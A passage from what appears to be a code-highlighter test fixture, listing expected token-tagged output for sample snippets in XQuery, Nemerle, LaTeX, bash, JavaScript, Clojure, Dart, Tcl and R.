`END`KWDif`END`PLN( comoms-dls:publishedDoc(`END$uri`END`PLN)) `END`KWDthen`END`PLN\n' + + ' `ENDfn:true`END`PLN()\n' + + ' `END`KWDelse`END`PLN\n' + + ' `ENDfn:false`END`PLN()\n' + + ' };\n' + + ' \n' + + ' \n' + + ' `END`KWDdeclare`END`PLN `END`KWDfunction`END`PLN comoms-dls:publishedState(`END$uri`END`PLN) {\n' + + ' `END`KWDlet`END`PLN `END$doc`END`PLN := comoms-dls:publishedDoc(`END$uri`END`PLN)\n' + + ' `END`KWDlet`END`PLN `END$published_uri`END`PLN := `END`KWDif`END`PLN(`END$doc`END`PLN) `END`KWDthen`END`PLN `ENDxdmp:node-uri`END`PLN(`END$doc`END`PLN) `END`KWDelse`END`PLN ()\n' + + ' `END`KWDlet`END`PLN `END$latest`END`PLN := comoms-dls:latestVersionUri(`END$uri`END`PLN)\n' + + ' `END`KWDreturn`END`PLN\n' + + ' `END`KWDif`END`PLN(`END$doc`END`PLN) `END`KWDthen`END`PLN\n' + + ' `END`KWDif`END`PLN(`END$latest`END`PLN ne `END$published_uri`END`PLN) `END`KWDthen`END`PLN\n' + + ' `END`STR"stale"`END`PLN\n' + + ' `END`KWDelse`END`PLN\n' + + ' `END`STR"published"`END`PLN\n' + + ' `END`KWDelse`END`PLN\n' + + ' `END`STR"unpublished"`END`PLN\n' + + ' };\n' + + ' \n' + + ' \n' + + ' `END`KWDdeclare`END`PLN `END`KWDfunction`END`PLN comoms-dls:getManagedDocUri(`END$uri`END`PLN) {\n' + + ' `END`KWDlet`END`PLN `END$doc`END`PLN := `ENDfn:doc`END`PLN(`END$uri`END`PLN)\n' + + ' `END`KWDlet`END`PLN `END$managed_uri`END`PLN := `END$doc`END`PLN/property::dls:version/dls:document-uri/`END`KWDtext`END`PLN()\n' + + ' `END`KWDlet`END`PLN `END$managed_uri`END`PLN := `END`KWDif`END`PLN(`END$managed_uri`END`PLN) `END`KWDthen`END`PLN `END$managed_uri`END`PLN `END`KWDelse`END`PLN `END$uri`END`PLN\n' + + ' `END`KWDreturn`END`PLN `END$managed_uri`END`PLN\n' + + ' };\n' + + ' \n' + + ' `END`COM(:~\n' + + ' : Given a manage content url (e.g. /content/123456.xml) return the appropriate\n' + + ' : version of the document based on what stage collection is being viewed and\n' + + ' : what\'s published\n' + + ' :\n' + + ' : @param $uri a manage content url (e.g. /content/123456.xml) - NOT A VERSIONED URI\n' + + ' :)`END`PLN\n' + + ' `END`KWDdeclare`END`PLN `END`KWDfunction`END`PLN comoms-dls:doc(`END$uri`END`PLN) {\n' + + ' `END`KWDlet`END`PLN `END$doc`END`PLN := `ENDfn:root`END`PLN(comoms-dls:collection()[property::dls:version/dls:document-uri = `END$uri`END`PLN][1])\n' + + ' `END`KWDreturn`END`PLN\n' + + ' `END`KWDif`END`PLN(`END$doc`END`PLN) `END`KWDthen`END`PLN\n' + + ' `END$doc`END`PLN\n' + + ' `END`KWDelse`END`PLN\n' + + ' `END`KWDlet`END`PLN `END$managedDocInCollection`END`PLN := comoms-dls:collection-name() = `ENDxdmp:document-get-collections`END`PLN(`END$uri`END`PLN)\n' + + ' `END`KWDreturn`END`PLN\n' + + ' `END`KWDif`END`PLN(`END$managedDocInCollection`END`PLN) `END`KWDthen`END`PLN\n' + + ' `ENDfn:doc`END`PLN(`END$uri`END`PLN)\n' + + ' `END`KWDelse`END`PLN\n' + + ' ()\n' + + ' };\n' + + ' \n' + + ' `END`COM(:~\n' + + ' : Get the collection to be used when querying for content\n' + + ' : THIS or comoms-dls:collection-name() SHOULD BE USED WHEN BUILDING ANY QUERY FOR MANAGED CONTENT\n' + + ' :)`END`PLN\n' + + ' `END`KWDdeclare`END`PLN `END`KWDfunction`END`PLN comoms-dls:collection() {\n' + + ' `ENDfn:collection`END`PLN( comoms-dls:collection-name() )\n' + + ' };\n' + + ' \n' + + ' `END`COM(:~\n' + + ' : Get the collection nameto be used when querying for content\n' + + ' : THIS or comoms-dls:collection() SHOULD BE USED WHEN BUILDING ANY QUERY FOR MANAGED CONTENT\n' + + ' :)`END`PLN\n' + + ' `END`KWDdeclare`END`PLN `END`KWDfunction`END`PLN comoms-dls:collection-name() `END`KWDas`END`PLN `END`TYPxs:string`END`PLN {\n' + + ' `END`KWDlet`END`PLN `END$default_collection`END`PLN := `END`STR"PUBLISHED"`END`PLN\n' + + ' `END`KWDreturn`END`PLN\n' + + ' `END`KWDif`END`PLN(comoms-user:isAdmin()) `END`KWDthen`END`PLN\n' + + ' `END`KWDlet`END`PLN `END$pub_stage_collection_cookie`END`PLN := comoms-util:getCookie(`END`STR"COMOMS_COLLECTION"`END`PLN)\n' + + ' `END`KWDreturn`END`PLN\n' + + ' `END`KWDif`END`PLN(`END$pub_stage_collection_cookie`END`PLN) `END`KWDthen`END`PLN\n' + + ' `END$pub_stage_collection_cookie`END`PLN\n' + + ' `END`KWDelse`END`PLN\n' + + ' `END$default_collection`END`PLN\n' + + ' `END`KWDelse`END`PLN\n' + + ' `END$default_collection`END`PLN\n' + + ' };\n' + + ' \n' + + ' `END`COM(:~\n' + + ' : Check if the published collection is being viewed\n' + + ' :)`END`PLN\n' + + ' `END`KWDdeclare`END`PLN `END`KWDfunction`END`PLN comoms-dls:isViewingPublished() {\n' + + ' `END`KWDif`END`PLN(comoms-dls:collection-name() = `END`STR"PUBLISHED"`END`PLN) `END`KWDthen`END`PLN\n' + + ' `ENDfn:true`END`PLN()\n' + + ' `END`KWDelse`END`PLN\n' + + ' `ENDfn:false`END`PLN()\n' + + ' };\n' + + ' \n' + + ' `END`COM(:~\n' + + ' : Get the best URL for the content URI.\n' + + ' : This is either the default URI based on detail type or should also take\n' + + ' : into account friendly urls and navigation structures to figure out the\n' + + ' : best choice\n' + + ' :)`END`PLN\n' + + ' `END`KWDdeclare`END`PLN `END`KWDfunction`END`PLN comoms-dls:contentUrl(`END$uri`END`PLN) {\n' + + ' \n' + + ' `END`COM(: TODO: add friendly URL and nav structure logic 1st :)`END`PLN\n' + + ' \n' + + ' `END`KWDlet`END`PLN `END$doc`END`PLN := `ENDfn:doc`END`PLN(`END$uri`END`PLN)\n' + + ' `END`KWDlet`END`PLN `END$managedDocUri`END`PLN := `END$doc`END`PLN/property::dls:version/dls:document-uri\n' + + ' `END`KWDlet`END`PLN `END$uri`END`PLN := `END`KWDif`END`PLN(`END$managedDocUri`END`PLN) `END`KWDthen`END`PLN `END$managedDocUri`END`PLN `END`KWDelse`END`PLN `END$uri`END`PLN\n' + + ' `END`KWDlet`END`PLN `END$type`END`PLN := `END$doc`END`PLN/`END`KWDnode`END`PLN()/`ENDfn:name`END`PLN()\n' + + ' `END`KWDlet`END`PLN `END$content_id`END`PLN := `ENDfn:tokenize`END`PLN( `ENDfn:tokenize`END`PLN(`END$uri`END`PLN, `END`STR"/"`END`PLN)[3], `END`STR"\\."`END`PLN)[1]\n' + + ' `END`KWDreturn`END`PLN\n' + + ' `ENDfn:concat`END`PLN(`END`STR"/"`END`PLN, `END$type`END`PLN, `END`STR"/"`END`PLN, `END$content_id`END`PLN)\n' + + ' };\n' + + ' \n' + + ' `END`COM(:\n' + + ' :\n' + + ' : gets list of doc versions and uri.\n' + + ' :\n' + + ' :)`END`PLN\n' + + ' `END`KWDdeclare`END`PLN `END`KWDfunction`END`PLN comoms-dls:versionHistory(`END$uri`END`PLN) {\n' + + ' `END`KWDlet`END`PLN `END$published_doc`END`PLN := comoms-dls:publishedDoc(`END$uri`END`PLN)\n' + + ' `END`KWDlet`END`PLN `END$published_uri`END`PLN := `END`KWDif`END`PLN(`END$published_doc`END`PLN) `END`KWDthen`END`PLN `ENDxdmp:node-uri`END`PLN(`END$published_doc`END`PLN) `END`KWDelse`END`PLN ()\n' + + ' `END`KWDreturn`END`PLN\n' + + ' `END`TAG<versions>`END`PLN\n' + + ' {\n' + + ' `END`KWDfor`END`PLN `END$version`END`PLN `END`KWDin`END`PLN `ENDdls:document-history`END`PLN(`END$uri`END`PLN)/dls:version\n' + + ' `END`KWDlet`END`PLN `END$version_num`END`PLN := `END$version`END`PLN/dls:version-id/`END`KWDtext`END`PLN()\n' + + ' `END`KWDlet`END`PLN `END$created`END`PLN := `END$version`END`PLN/dls:created/`END`KWDtext`END`PLN()\n' + + ' `END`KWDlet`END`PLN `END$author_id`END`PLN := `END$version`END`PLN/dls:author/`END`KWDtext`END`PLN()\n' + + ' `END`KWDlet`END`PLN `END$author`END`PLN := comoms-user:getUsername(`END$author_id`END`PLN)\n' + + ' \n' + + ' \n' + + ' `END`KWDlet`END`PLN `END$note`END`PLN := `END$version`END`PLN/dls:annotation/`END`KWDtext`END`PLN()\n' + + ' `END`KWDlet`END`PLN `END$version_uri`END`PLN := `ENDxdmp:node-uri`END`PLN(`ENDdls:document-version`END`PLN(`END$uri`END`PLN, `END$version_num`END`PLN))\n' + + ' `END`KWDlet`END`PLN `END$published`END`PLN := `END$published_uri`END`PLN `END`KWDeq`END`PLN `END$version_uri`END`PLN\n' + + ' `END`KWDreturn`END`PLN\n' + + ' `END`TAG<version>`END`PLN\n' + + ' `END`TAG<version-number>`END`PLN{`END$version_num`END`PLN}`END`TAG</version-number>`END`PLN\n' + + ' `END`TAG<created>`END`PLN{`END$created`END`PLN}`END`TAG</created>`END`PLN \n' + + ' `END`TAG<author>`END`PLN{`END$author`END`PLN}`END`TAG</author>`END`PLN\n' + + ' `END`TAG<published>`END`PLN{`END$published`END`PLN}`END`TAG</published>`END`PLN\n' + + ' `END`TAG<version-uri>`END`PLN{`END$version_uri`END`PLN}`END`TAG</version-uri>`END`PLN\n' + + ' `END`TAG</version>`END`PLN \n' + + ' } \n' + + ' `END`TAG</versions>`END`PLN\n' + + ' };\n' + + ' \n' + + ' \n' + + ' \n' + + ' \n' + + ' \n' + + ' \n' + + ' `END`COM(: ########################################################################### :)`END`PLN\n' + + ' `END`COM(: PRIVATE FUNCTIONS :)`END`PLN\n' + + ' `END`COM(: ########################################################################### :)`END`PLN\n' + + ' \n' + + ' `END`KWDdeclare`END`PLN `END`KWDfunction`END`PLN comoms-dls:_import() {\n' + + ' `END`STR"xquery version \'1.0-ml\';\n' + + ' import module namespace dls = \'http://marklogic.com/xdmp/dls\' at \'/MarkLogic/dls.xqy\'; "`END`PLN\n' + + ' }; \n' + + ' \n' + + '`END`COM(: ----\n' + + '---- :)`END`PLN\n' + + '`END`KWDxquery`END`PLN `END`KWDversion`END`PLN `END`STR\'1.0-ml\'`END`PLN;\n' + + '`END`KWDdeclare`END`PLN `END`KWDvariable`END`PLN `END$URI`END`PLN `END`KWDas`END`PLN `END`TYPxs:string`END`PLN `END`KWDexternal`END`PLN;\n' + + ' \n' + + '`END`KWDdeclare`END`PLN `END`KWDfunction`END`PLN local:document-move-forest(`END$uri`END`PLN `END`KWDas`END`PLN `END`TYPxs:string`END`PLN, `END$forest-ids`END`PLN `END`KWDas`END`PLN `END`TYPxs:unsignedLong`END`PLN*)\n' + + '{\n' + + ' `ENDxdmp:document-insert`END`PLN(\n' + + ' `END$uri`END`PLN,\n' + + ' `ENDfn:doc`END`PLN(`END$uri`END`PLN),\n' + + ' `ENDxdmp:document-get-permissions`END`PLN(`END$uri`END`PLN),\n' + + ' `ENDxdmp:document-get-collections`END`PLN(`END$uri`END`PLN),\n' + + ' `ENDxdmp:document-get-quality`END`PLN(`END$uri`END`PLN),\n' + + ' `END$forest-ids`END`PLN\n' + + ' )\n' + + '};\n' + + ' \n' + + '`END`KWDlet`END`PLN `END$xml`END`PLN :=\n' + + ' `END`TAG<xml`END`PLN att=`END`STR"blah"`END`PLN att2=`END`STR"blah"`END`TAG>`END`PLN\n' + + ' sdasd`END`TAG<b>`END`PLNasdasd`END`TAG</b>`END`PLN\n' + + ' `END`TAG</xml>`END`PLN\n' + + '`END`COM(: -------- :)`END`PLN\n' + + '`END`KWDfor`END`PLN `END$d`END`PLN `END`KWDin`END`PLN `ENDfn:doc`END`PLN(`END`STR"depts.xml"`END`PLN)/depts/deptno\n' + + '`END`KWDlet`END`PLN `END$e`END`PLN := `ENDfn:doc`END`PLN(`END`STR"emps.xml"`END`PLN)/emps/emp[deptno = `END$d`END`PLN]\n' + + '`END`KWDwhere`END`PLN `ENDfn:count`END`PLN(`END$e`END`PLN) >= 10\n' + + '`END`KWDorder`END`PLN `END`KWDby`END`PLN `ENDfn:avg`END`PLN(`END$e`END`PLN/salary) `END`KWDdescending`END`PLN\n' + + '`END`KWDreturn`END`PLN\n' + + ' `END`TAG<big-dept>`END`PLN\n' + + ' {\n' + + ' `END$d`END`PLN,\n' + + ' `END`TAG<headcount>`END`PLN{`ENDfn:count`END`PLN(`END$e`END`PLN)}`END`TAG</headcount>`END`PLN,\n' + + ' `END`TAG<avgsal>`END`PLN{`ENDfn:avg`END`PLN(`END$e`END`PLN/salary)}`END`TAG</avgsal>`END`PLN\n' + + ' }\n' + + ' `END`TAG</big-dept>`END`PLN\n' + + '`END`COM(: -------- :)`END`PLN\n' + + '`END`KWDdeclare`END`PLN `END`KWDfunction`END`PLN local:depth(`END$e`END`PLN `END`KWDas`END`PLN `END`KWDnode`END`PLN()) `END`KWDas`END`PLN `END`TYPxs:integer`END`PLN\n' + + '{\n' + + ' `END`COM(: A node with no children has depth 1 :)`END`PLN\n' + + ' `END`COM(: Otherwise, add 1 to max depth of children :)`END`PLN\n' + + ' `END`KWDif`END`PLN (`ENDfn:empty`END`PLN(`END$e`END`PLN/*)) `END`KWDthen`END`PLN 1\n' + + ' `END`KWDelse`END`PLN `ENDfn:max`END`PLN(`END`KWDfor`END`PLN `END$c`END`PLN `END`KWDin`END`PLN `END$e`END`PLN/* `END`KWDreturn`END`PLN local:depth(`END$c`END`PLN)) + 1\n' + + '};\n' + + ' \n' + + 'local:depth(`ENDfn:doc`END`PLN(`END`STR"partlist.xml"`END`PLN))\n' + + ' \n' + + '`END`COM(: -------- :)`END`PLN\n' + + '`END`TAG<html><head`END`PLN/`END`TAG><body>`END`PLN\n' + + '{\n' + + ' `END`KWDfor`END`PLN `END$act`END`PLN `END`KWDin`END`PLN `ENDdoc`END`PLN(`END`STR"hamlet.xml"`END`PLN)//ACT\n' + + ' `END`KWDlet`END`PLN `END$speakers`END`PLN := `ENDdistinct-values`END`PLN(`END$act`END`PLN//SPEAKER)\n' + + ' `END`KWDreturn`END`PLN\n' + + ' `END`TAG<div>`END`PLN{ `ENDstring`END`PLN(`END$act`END`PLN/TITLE) }`END`TAG</h1>`END`PLN\n' + + ' `END`TAG<ul>`END`PLN\n' + + ' {\n' + + ' `END`KWDfor`END`PLN `END$speaker`END`PLN `END`KWDin`END`PLN `END$speakers`END`PLN\n' + + ' `END`KWDreturn`END`PLN `END`TAG<li>`END`PLN{ `END$speaker`END`PLN }`END`TAG</li>`END`PLN\n' + + ' }\n' + + ' `END`TAG</ul>`END`PLN\n' + + ' `END`TAG</div>`END`PLN\n' + + '}\n' + + '`END`TAG</body></html>`END`PLN\n' + + '`END`COM(: -------- :)`END`PLN\n' + + '{\n' + + '\t`END`KWDfor`END`PLN `END$book`END`PLN `END`KWDin`END`PLN `ENDdoc`END`PLN(`END`STR"books.xml"`END`PLN)//book\n' + + ' `END`KWDreturn`END`PLN\n' + + '\t`END`KWDif`END`PLN (`ENDcontains`END`PLN(`END$book`END`PLN/author/`END`KWDtext`END`PLN(),`END`STR"Herbert"`END`PLN) `END`KWDor`END`PLN `ENDcontains`END`PLN(`END$book`END`PLN/author/`END`KWDtext`END`PLN(),`END`STR"Asimov"`END`PLN))\n' + + '\t\t`END`KWDthen`END`PLN `END$book`END`PLN\n' + + '\t`END`KWDelse`END`PLN `END$book`END`PLN/`END`KWDtext`END`PLN()\n' + + '\t\n' + + '\t`END`KWDlet`END`PLN `END$let`END`PLN := `END`TAG<x>`END`STR"test"`END`TAG</x>`END`PLN\n' + + '\t`END`KWDreturn`END`PLN `END`KWDelement`END`PLN `END`KWDelement`END`PLN {\n' + + '\t`END`KWDattribute`END`PLN `END`KWDattribute`END`PLN { 1 },\n' + + '\t`END`KWDelement`END`PLN test { `END`STR\'a\'`END`PLN },\n' + + '\t`END`KWDattribute`END`PLN foo { `END`STR"bar"`END`PLN },\n' + + '\t`ENDfn:doc`END`PLN()[ foo/`END`LIT@bar`END`PLN `END`KWDeq`END`PLN `END$let`END`PLN ],\n' + + '\t//x }\n' + + '}\n' + + '`END`COM(: -------- :)`END`PLN\n' + + '`END`TAG<bib>`END`PLN\n' + + ' {\n' + + ' `END`KWDfor`END`PLN `END$b`END`PLN `END`KWDin`END`PLN `ENDdoc`END`PLN(`END`STR"http://bstore1.example.com/bib.xml"`END`PLN)/bib/book\n' + + ' `END`KWDwhere`END`PLN `END$b`END`PLN/publisher = `END`STR"Addison-Wesley"`END`PLN `END`KWDand`END`PLN `END$b`END`PLN/`END`LIT@year`END`PLN > 1991\n' + + ' `END`KWDreturn`END`PLN\n' + + ' `END`TAG<book`END`PLN year=`END`STR"`END`PLN{ `END$b`END`PLN/`END`LIT@year`END`PLN }`END`STR"`END`TAG>`END`PLN\n' + + ' { `END$b`END`PLN/title }\n' + + ' `END`TAG</book>`END`PLN\n' + + ' }\n' + + '`END`TAG</bib>`END`PLN\n' + + '`END`COM(: -------- :)`END' + ), + nemerle: ( + '`KWDclass`END`PLN Set `END`PUN[`END`PLN\'a`END`PUN]`END`PLN\n' + + '`END`PUN{`END`PLN\n' + + ' `END`KWDmutable`END`PLN storage `END`PUN:`END`PLN `END`TYPlist`END`PLN `END`PUN[`END`PLN\'a`END`PUN]`END`PLN `END`PUN=`END`PLN `END`PUN[];`END`PLN\n' + + ' `END`KWDpublic`END`PLN Add `END`PUN(`END`PLNe `END`PUN:`END`PLN \'a`END`PUN)`END`PLN `END`PUN:`END`PLN `END`TYPvoid`END`PLN\n' + + ' `END`PUN{`END`PLN\n' + + ' `END`KWDwhen`END`PLN `END`PUN(!`END`PLN Contains `END`PUN(`END`PLNe`END`PUN))`END`PLN\n' + + ' storage `END`PUN::=`END`PLN e`END`PUN;`END`PLN\n' + + ' `END`PUN}`END`PLN\n' + + ' `END`KWDpublic`END`PLN Contains `END`PUN(`END`PLNe `END`PUN:`END`PLN \'a`END`PUN)`END`PLN `END`PUN:`END`PLN `END`TYPbool`END`PLN\n' + + ' `END`PUN{`END`PLN\n' + + ' storage`END`PUN.`END`PLNContains `END`PUN(`END`PLNe`END`PUN)`END`PLN\n' + + ' `END`PUN}`END`PLN\n' + + '`END`PUN}`END`PLN\n' + + ' \n' + + '`END`KWDdef`END`PLN s1 `END`PUN=`END`PLN Set `END`PUN();`END`PLN\n' + + 's1`END`PUN.`END`PLNAdd `END`PUN(`END`LIT3`END`PUN);`END`PLN\n' + + 's1`END`PUN.`END`PLNAdd `END`PUN(`END`LIT42`END`PUN);`END`PLN\n' + + '`END`KWDassert`END`PLN `END`PUN(`END`PLNs1`END`PUN.`END`PLNContains `END`PUN(`END`LIT3`END`PUN));`END`PLN\n' + + '`END`COM// s1.Add ("foo"); // error here!`END`PLN\n' + + '`END`KWDdef`END`PLN s2 `END`PUN=`END`PLN Set `END`PUN();`END`PLN\n' + + 's2`END`PUN.`END`PLNAdd `END`PUN(`END`STR"foo"`END`PUN);`END`PLN\n' + + '`END`KWDassert`END`PLN `END`PUN(`END`PLNs2`END`PUN.`END`PLNContains `END`PUN(`END`STR"foo"`END`PUN));`END' + ), + latex: ( + '`COM% resume.tex`END`PLN\n' + + '`END`COM% vim:set ft=tex spell:`END`PLN\n' + + '`END`KWD\\documentclass`END`PUN[`END`LIT10pt`END`PLN,letterpaper`END`PUN]{`END`PLNarticle`END`PUN}`END`PLN\n' + + '`END`KWD\\usepackage`END`PUN[`END`PLNletterpaper,margin`END`PUN=`END`LIT0.8in`END`PUN]{`END`PLNgeometry`END`PUN}`END`PLN\n' + + '`END`KWD\\usepackage`END`PUN{`END`PLNmdwlist`END`PUN}`END`PLN\n' + + '`END`KWD\\usepackage`END`PUN[`END`PLNT1`END`PUN]{`END`PLNfontenc`END`PUN}`END`PLN\n' + + '`END`KWD\\usepackage`END`PUN{`END`PLNtextcomp`END`PUN}`END`PLN\n' + + '`END`KWD\\pagestyle`END`PUN{`END`PLNempty`END`PUN}`END`PLN\n' + + '`END`KWD\\setlength`END`PUN{`END`KWD\\tabcolsep`END`PUN}{`END`LIT0em`END`PUN}`END' + ), + issue144: ( + '`COM#! /bin/bash`END`PLN\n' + + '`END`COM# toascii.sh`END`PLN\n' + + '`END`KWDfor`END`PLN i `END`KWDin`END`PLN $`END`PUN(`END`PLNecho $`END`PUN*' + + '`END`PLN `END`PUN|`END`PLN fold `END`PUN-`END`PLNw `END`LIT1`END`PUN);`END' + + '`KWDdo`END`PLN\n' + + ' printf `END`STR"%x "`END`PLN \\\'$i`END`PUN;`END`PLN\n' + + '`END`KWDdone`END`PUN;`END`PLN\n' + + 'echo`END' + ), + issue145: ( + '`TAG<script`END`PLN `END`ATNtype`END`PUN=`END`ATV"text/javascript"`END`TAG>`END`PLN\n' + + '`END`PUN<!--`END`PLN\n' + + ' `END`KWDvar`END`PLN target `END`PUN=`END`PLN $$`END`PUN.`END`PLNcss`END`PUN(`END`STR\'backgroundImage\'`END`PUN).`END`PLNreplace`END`PUN(`END`STR/^url[\\(\\)\'"]/`END`PLNg`END`PUN,`END`PLN `END`STR\'\'`END`PUN);`END`PLN\n' + + '\n' + + ' `END`COM// nice long chain: wrap img element in span`END`PLN\n' + + ' $$`END`PUN.`END`PLNwrap`END`PUN(`END`STR\'<span style="position: relative;"></span>\'`END`PUN)`END`PLN\n' + + '`END`PUN-->`END`PLN\n' + + '`END`TAG</script>`END' + ), + clojure: ( + '`COM; Clojure test comment`END`PLN\n' + + '`END`OPN(`END`KWDns`END`PLN test\n' + + ' `END`OPN(`END`TYP:gen-class`END`CLO))`END`PLN\n' + + '\n' + + '`END`OPN(`END`KWDdef`END`PLN foo `END`STR"bar"`END`CLO)`END`PLN\n' + + '`END`OPN(`END`KWDdefn`END`PLN bar `END`OPN[`END`PLNarg1 arg2 & args`END`CLO]`END`PLN\n' + + ' `END`STR"sample function"`END`PLN\n' + + ' `END`OPN(`END`KWDfor`END`PLN `END`OPN[`END`PLNarg args`END`CLO]`END`PLN\n' + + ' `END`OPN(`END`KWDprn`END`PLN arg`END`CLO)))`END`PLN\n' + + '\n' + + '`END`OPN(`END`PLNbar `END`STR"foo"`END`PLN `END`STR"bar"`END`PLN `END`STR"blah"`END`PLN `END`TYP:baz`END`CLO)`END' + ), + html5conv1: '`COM; foo`END', + html5conv2: '`COM; foo`END', + html5conv3: ( + '`PLN\n' + + '`END`COM; foo`END`PLN\n' + + '`END\n' + ), + html5conv4: ( + '`PLNbefore CODE\n' + + '`END`PUN;`END`PLN foo`END\n' + ), + procinstr1: '`COM; foo`END', + procinstr2: '
  1. `COM; foo`END
', + procinstr3: '
  1. `COM; foo`END
', + procinstr4: '`COM; foo`END', + issue185: '`STR"No tag backs."`END', + issue261: '
  1. `STR"No tag backs."`END
', + issue201: ( + '`KWDstatic`END`PLN `END`TYPPersistent`END' + + '`PUN<`END`TYPString`END`PUN>`END`PLN listeners_symbol`END`PUN;`END' + ), + dart: ( + '`KWDpart of`END`PLN myLib`END`PUN;`END`PLN\n' + + '\n' + + '`END`KWDpart`END`PLN `END`STR\'something.dart\'`END`PUN;`END`PLN\n' + + '\n' + + '`END`KWDimport`END`PLN `END`STR\'dart:math\'`END`PLN `END' + + '`KWDas`END`PLN test `END`KWDshow`END`PLN foo`END`PUN,`END`PLN bar`END`PUN;`END' + + '`PLN\n' + + '\n' + + '`END`KWDclass`END`PLN `END`TYPPoint`END`PLN `END`PUN{`END`PLN\n' + + ' `END`KWDfinal`END`PLN `END`TYPnum`END`PLN x`END`PUN,`END`PLN y`END`PUN;`END`PLN\n' + + '\n' + + ' `END`TYPPoint`END`PUN(`END`KWDthis`END`PUN.`END`PLNx`END' + + '`PUN,`END`PLN `END`KWDthis`END`PUN.`END`PLNy`END`PUN);`END`PLN\n' + + ' `END`TYPPoint`END`PUN.`END`PLNzero`END`PUN()`END`PLN `END' + + '`PUN:`END`PLN x `END`PUN=`END`PLN `END`LIT0`END`PUN,`END' + + '`PLN y `END`PUN=`END`PLN `END`LIT0`END`PUN;`END`PLN `END' + + '`COM// Named constructor`END`PLN\n' + + ' `END' + + '`COM// with an initializer list.`END`PLN\n' + + '\n' + + ' `END`TYPnum`END`PLN distanceTo`END`PUN(`END`TYPPoint`END`PLN other`END' + + '`PUN)`END`PLN `END`PUN{`END`PLN\n' + + ' `END`KWDvar`END`PLN dx `END`PUN=`END`PLN x `END`PUN-`END' + + '`PLN other`END`PUN.`END`PLNx`END`PUN;`END`PLN\n' + + ' `END`KWDvar`END`PLN dy `END`PUN=`END`PLN y `END`PUN-`END' + + '`PLN other`END`PUN.`END`PLNy`END`PUN;`END`PLN\n' + + ' `END`KWDreturn`END`PLN sqrt`END`PUN(`END`PLNdx `END`PUN*`END' + + '`PLN dx `END`PUN+`END`PLN dy `END`PUN*`END`PLN dy`END`PUN);`END' + + '`PLN\n' + + ' `END`PUN}`END`PLN\n' + + '`END`PUN}`END`PLN\n' + + '\n' + + '`END`COM// This is a single-line comment.`END`PLN\n' + + '\n' + + '`END`COM/*\n' + + 'This is a\n' + + 'multiline comment.\n' + + '*/`END`PLN\n' + + '\n' + + 'main`END`PUN()`END`PLN `END`PUN{`END`PLN\n' + + ' `END`TYPPoint`END`PLN p `END`PUN=`END`PLN `END`KWDnew`END' + + '`PLN `END`TYPPoint`END`PUN(`END`LIT7`END`PUN,`END`PLN `END' + + '`LIT12`END`PUN);`END`PLN\n' + + ' `END`TYPString`END`PLN thing `END`PUN=`END`PLN `END' + + '`STR\'It\\\'s awesome!\'`END`PUN;`END`PLN\n' + + ' `END`TYPString`END`PLN thing2 `END`PUN=`END`PLN `END' + + '`STR\'\'\'\n' + + 'This is a test! \\\'\'\'\n' + + 'This is the end of the test\'\'\'`END`PUN;`END`PLN\n' + + ' `END`TYPString`END`PLN thing3 `END`PUN=`END`PLN `END' + + '`STRr\"\"\"\n' + + 'This is a raw\n' + + 'multiline string!\"\"\"`END`PUN;`END`PLN\n' + + ' `END`TYPnum`END`PLN x `END`PUN=`END`PLN `END`LIT0x123ABC`END`PUN;`END`PLN\n' + + ' `END`TYPnum`END`PLN y `END`PUN=`END`PLN `END`LIT1.8e-12`END`PUN;`END`PLN\n' + + ' `END`TYPbool`END`PLN flag `END`PUN=`END`PLN `END`KWDfalse`END' + + '`PUN;`END`PLN\n' + + ' `END`TYPString`END`PLN raw `END`PUN=`END`PLN `END' + + '`STRr\"This is a raw string, where \\n doesn\'t matter\"`END' + + '`PUN;`END`PLN\n' + + '`END`PUN}`END' + ), + tcl_lang: ( + '`COM#!/bin/tclsh`END`PLN\n' + + '`END`KWDproc`END`PLN fib `END`OPN{`END`PLNn`END`CLO}`END`PLN `END`OPN{`END`PLN\n' + + ' `END`KWDset`END`PLN a `END`LIT0`END`PLN\n' + + ' `END`KWDset`END`PLN b `END`LIT1`END`PLN\n' + + ' `END`KWDwhile`END`PLN `END`OPN{`END`PUN$`END`PLNn `END`PUN>`END`PLN `END`LIT0`END`CLO}`END`PLN `END`OPN{`END`PLN\n' + + ' `END`KWDset`END`PLN tmp `END`PUN$`END`PLNa\n' + + ' `END`KWDset`END`PLN a `END`PUN[`END`KWDexpr`END`PLN `END`PUN$`END`PLNa `END`PUN+`END`PLN `END`PUN$`END`PLNb`END`PUN]`END`PLN\n' + + ' `END`KWDset`END`PLN b `END`PUN$`END`PLNtmp\n' + + ' `END`KWDincr`END`PLN n `END`LIT-1`END`PLN\n' + + ' `END`CLO}`END`PLN\n' + + ' `END`KWDreturn`END`PLN `END`PUN$`END`PLNa\n' + + '`END`CLO}`END' + ), + r_lang: ( + '`COM### Example R script for syntax highlighting`END`PLN\n' + + '\n' + + '`END`COM# This is a comment`END`PLN\n' + + '\n' + + '`END`COM## Valid names`END`PLN\n' + + 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUV0123456789._a `END`PUN<-`END`PLN `END`LITNULL`END`PLN\n' + + '.foo_ `END`PUN<-`END`PLN `END`LITNULL`END`PLN\n' + + '._foo `END`PUN<-`END`PLN `END`LITNULL`END`PLN\n' + + '\n' + + '`END`COM## Invalid names`END`PLN\n' + + '`END`LIT0`END`PLNabc `END`PUN<-`END`PLN `END`LITNULL`END`PLN\n' + + '`END`LIT.0`END`PLNabc `END`PUN<-`END`PLN `END`LITNULL`END`PLN\n' + + 'abc`END`PUN+`END`PLNcde `END`PUN<-`END`PLN `END`LITNULL`END`PLN\n' + + '\n' + + '`END`COM## Reserved Words`END`PLN\n' + + '`END`LITNA`END`PLN\n' + + '`END`LITNA_integer_`END`PLN\n' + + '`END`LITNA_real_`END`PLN\n' + + '`END`LITNA_character_`END`PLN\n' + + '`END`LITNA_complex_`END`PLN\n' + + '`END`LITNULL`END`PLN\n' + + '`END`LITNaN`END`PLN\n' + + '`END`LITInf`END`PLN\n' + + '`END`COM## Not reserved`END`PLN\n' + + 'NULLa `END`PUN<-`END`PLN `END`LITNULL`END`PLN\n' + + 'NULL1 `END`PUN<-`END`PLN `END`LITNULL`END`PLN\n' + + 'NULL. `END`PUN<-`END`PLN `END`LITNULL`END`PLN\n' + + 'NA_foo_ `END`PUN<-`END`PLN `END`LITNULL`END`PLN\n' + + '\n' + + '`END`COM## Numbers`END`PLN\n' + + '`END`LIT12345678901`END`PLN\n' + + '`END`LIT123456.78901`END`PLN\n' + + '`END`LIT123e3`END`PLN\n' + + '`END`LIT123E3`END`PLN\n' + + '`END`LIT1.23e-3`END`PLN\n' + + '`END`LIT1.23e3`END`PLN\n' + + 